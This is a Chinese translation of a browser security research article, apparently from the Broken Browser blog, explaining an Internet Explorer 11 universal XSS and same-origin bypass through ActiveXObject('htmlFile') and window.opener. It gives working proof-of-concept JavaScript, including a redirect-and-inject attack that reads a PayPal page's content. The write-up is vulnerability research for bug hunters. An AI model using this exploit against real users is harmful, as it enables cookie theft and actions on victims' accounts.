原文链接:Broken Browser

原作者:Manuel Caballero

译:Holic (知道创宇404安全实验室)

今天我们探索的是从 Internet Explorer 出生以来一直存在的功能。该特性允许 Web 开发者实例化外部对象,因此被攻击者滥用。你能猜到我们在说的是什么特性吗?那就是 ActiveXObject 了。

即使现在它受到了诸多限制,我们已经不能再愉快地展示 Excel 电子表格,但它依然有很多玩法。我们将构建一个靠谱的 UXSS/SOP(同源策略) 绕过,它将允许我们访问任何域下的东西,当然包括 cookie 和你可以想象到的东西。

然而, bug hunter,不要以为 ActiveXObject 就是另一个 UXSS 而已,他对攻击者来说是一个完美的元素,因为它有着无数的漏洞,我们将在本篇下面提到。我真心建议你研究探索这个对象,你会意外地发现很多新的东西。

各种渲染 HTML 的容器

在浏览器中渲染 HTML 有好几种方法,我首先想到的就是 IFRAME 标签,而我们用 OBJECT 甚至 EMBED 标签可以做同样的事情。

其实,有一些对象允许我们在逻辑上渲染 HTML,但其并不可见。比如:implementation.createDocumentimplementation.createHTMLDocument 甚至 XMLHttpRequest 都能返回 document 对象而不是 text/xml。

这些 HTML 文档与 iframes/windows 中的文档有很多相似之处,但是并不包括所有内容。例如,其中一些不能执行脚本,其他的没有任何关联窗口,所以他们缺少了像 window.open 这种方法。换句话说,这些文档都有它们的限制。

但 Internet Explorer 还有几种渲染 HTML,我最喜欢的便是借助 ActiveXObject 实例化一个 "htmlFile"。这种类型的文档也有其限制,但至少能运行脚本了。请看下面的脚本。

doc = new ActiveXObject("htmlFile");

这个 ActiveXObject 创建了像 WebBrowser control 这样的东西(基本类似于 iframe),==并返回对其 document 对象的引用==。要想访问 window 对象,我们要使用之前的 parentWindow 或者 Script,因为此处不支持 defaultView 。

win = doc.defaultView;  // Not supported.

win = doc.Script;       // Returns the window object of doc.
win = doc.parentWindow; // Returns the window object of doc.

我是 “Script” 的粉丝,因此我用了这个方法。顺便说一句,我很好奇这个 ActiveXObject 的 location 是什么。

这很有趣!对我来说,下一个问题就是:此文档的 window 对象是不是和我们正在处理的是同一个对象?我的意思是,它有一个真正的 window 还是说与其父元素/创建者共享。

// Remember:
// win is the window object of the ActiveXObject.
// window is the window object of the main window.

alert(win == window);  // false

由此我们得出结论,ActiveXObject 的 window 是不同于主窗口的,这意味着它有自己的 window。我想知道现在谁是它的顶部(top)。难道 ActiveXObject 认为它在顶部?

哇!win认为它属于顶部(top),我不禁浮想联翩。它或许存在 XFO 绕过漏洞,或者允许不安全的请求(SSL 顶层无需 SSL)。写下这些想法!至少这是我的习惯:有趣的东西浮现于脑海,我会马上注意到,所以我可以持续关注原始目标,而不让这些想法消逝于大脑的灰质海洋。

好吧,我感到好奇的另一件事是这个文档的域。那么,它到底是什么?

alert(doc.domain); // The same domain as the top page

它返回了与主窗口相同的域,这没什么大不了的,但值得更多的测试。思绪在脑海中流动。

恢复 document.domain 的 top 属性

关于这一点,我的问题首先是:如果我们改变主页的 base href,然后实例化这个 ActiveX,会发生什么?它会具有与页面相同的域还是来自 base href 域?

这个想法无法实现,但是在创建对象时,不要低估了 base href,因为它曾经产生过奇效,而且将来可能会用到。看看我最近是怎么实现 SOP 绕过的。

总之,我试了另一种选择:在不同域中的 iframe 创建 ActiveXObject。就是说,相同的代码,现在可以从不同域的 iframe 中执行。

<!-- Main page in https://www.cracking.com.ar renders the iframe below -->
<iframe src="https://www.brokenbrowser.com/demos/sop-ax-htmlfile/retrievetopdomain.html"></iframe>

<!-- iFrame code on a different domain -->
<script>
doc = new ActiveXObject("htmlFile");
alert(doc.domain);  // Bang! Same as top!!
</script>

我很惊讶,ActiveXObject 使用顶部(top)的域而不是 iframe 创建的。Bingo!

[ IE11 Proof of Concept ]

当然,取回主页域不是完全的 SOP 绕过,但它是一铁证,说明我们正处理一个“感到困惑的”浏览器。问题推进至深,直到 IE 放弃。用一点 JavaScript,带着激情与坚持,我们会做到的。

传递引用至顶部

我们现在的目标是与 ActiveXObject 共享顶层窗口的引用,以查看它是否有权访问。如果它的 document.domain 与顶部相同,它应该能够访问!但此处还有一个挑战:从浏览器的角度来看,这个 ActiveXObject 没有完全初始化。这意味着我们不能创建变量,也不能更改任何成员的值。好像一个 frozen object,你不能向其中删除/改变任何东西。

oc = new ActiveXObject("htmlFile");
win = doc.Script;
win.myTop = top;      // Browser not initialized, variable is not set
win.execScript("alert(win.myTop)"); // undefined

在常规窗口中它理应有效,而使用 ActiveXObject 则不然,除非我们使用 document.open 初始化。问题是,如果我们初始化该对象,IE 会把它的域设置正确,无视我们的小把戏。那就来看看这个吧,弄清我的意思。

doc = new ActiveXObject("htmlFile");
alert(doc.domain);   // alerts the top domain (SOP bypass)
doc.open();          // Initialize the document
alert(doc.domain);   // alerts the iFrame domain (No more SOP bypass)

那么我们如何将顶层的窗口对象传递给 ActiveXObject 呢?仔细思考。每个 window 对象都有一个非常特别的地方,即它在其他任何地方都是可写的。它是什么呢?opener!是的,window.opener ,我的朋友,来试试吧!

doc = new ActiveXObject("htmlFile");
win = doc.Script;
win.opener = top;
win.execScript("alert(opener.document.URL)");  // Full SOP bypass

[ IE11 Proof of Concept ]

Yes!使用 opener 的技巧行之有效。现在,无论我们的域怎样,我们都可以访问到顶部的文档。我们的 iframe 可能在另一个 iframe 中,或者像俄罗斯套娃一样无限嵌套与不同的域中,但它仍然能访问顶部(top)。这就是力量啊!

那么,我们得到了一个有效的 UXSS,但仍然存在一个问题:它需要加载到 iframe 内,我认为没有目标站点会如此慷慨,会在他们的 iframe 中渲染我们的小把戏,对吧?但想到当今展示的横幅广告:我们在 iframe 中渲染,并且它们可以访问顶部元素!这意味着 Facebook 广告,Yahoo!广告和任何在 iframe 中运行的不受信任的内容都可以访问主页面。如果我们在使用 Facebook,广告可以代表我们发布内容,访问我们的联系人和 cookie 而没有限制。

我们应该更进一步,找到一种不借助外界的方法获得网站的 cookie。我们要怎样使之在任意非合作站点生效呢?我们可以在没有 iframe 的网站中实现吗。许多解决方案出现在我的脑海,而最简单的是:[重定向] + [线程块] + [注入]。这种技术超容易,但它值得小小的解释一下。

任意内容注入

有一种在目标网站有机会加载之前,对任意窗口/iframe 注入 HTML/Script 的方法,而无视其域。例如,假设我们打开一个带有服务器重定向至 PayPal 的新窗口。在重定向发生之前,我们仍可以访问该窗口,但一旦重定向加载了新的 URL ,我们就无法访问了,对吗?实际上,当重定向发生时,IE 渲染新内容之前销毁了 window 的每一个元素。

但是,如果我们在页面中注入一个元素,在重定向之前会发生什么?更多的,在注入之后,我们阻止线程,而不给 IE 以机会销毁对象,但是让重定向发生,会发生什么?新的网页将保留旧的(注入的)内容,因为 IE 无法删除它。

在这种情况下,我们使用 alert 作为线程拦截器,当然还有其他方法来实现同样的效果。让我们回顾一下在写代码之前需要做的事:

  1. 打开一个重定向到 PayPal 的新窗口。
  2. 重定向发生前,注入一个 iframe。
  3. 重定向发生后,从 iframe 之中创建 ActiveXObject。
  4. Bang!仅此而已。现在的 ActiveXObject 已经具有与主窗口相同的域。

这里是有效的代码:

    w = window.open("redir.php?URL=https://www.paypal.com");

    // Create and inject an iframe in the target window
    ifr = w.document.createElement('iframe');
    w.document.appendChild(ifr);

    // Initialize the iframe
    w[0].document.open();
    w[0].document.close();

    // Pass a reference to the top window
    // So the iframe can access even after the redirect.
    w[0]._top = w;

    // Finally, once Paypal is loaded (or loading, same thing) we create the
    // ActiveXObject within the injected iframe.
    w[0].setTimeout('alert("[ Thread Blocked to prevent iFrame destruction ]\\n\\nClose this alert once the address bar changes to the target site.");' +
                    'doc = new ActiveXObject("htmlFile");' +
                    'doc.Script.opener = _top;' +
                    'doc.Script.setTimeout("opener.location = \'javascript:alert(document.all[0].outerHTML)\'");');

[ IE11 Proof of Concept ]

bug hunter,不要在此停顿。继续探索 ActiveXObject,因为它充满了等待你你发掘的对象。而且你可以把这个 PoC 变得更干净,用更少的代码吗?你可以不使用 alert 建立一个线程阻塞吗?祝你好运!

我说了好运?哦不,抱歉。我的意思是:继续下去,直到你找到 bug。如果这对你来说意味着运气,那么祝你好运!但对我来说,这意味着激情和坚持。而唯一需要的就是找到安全漏洞。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/211/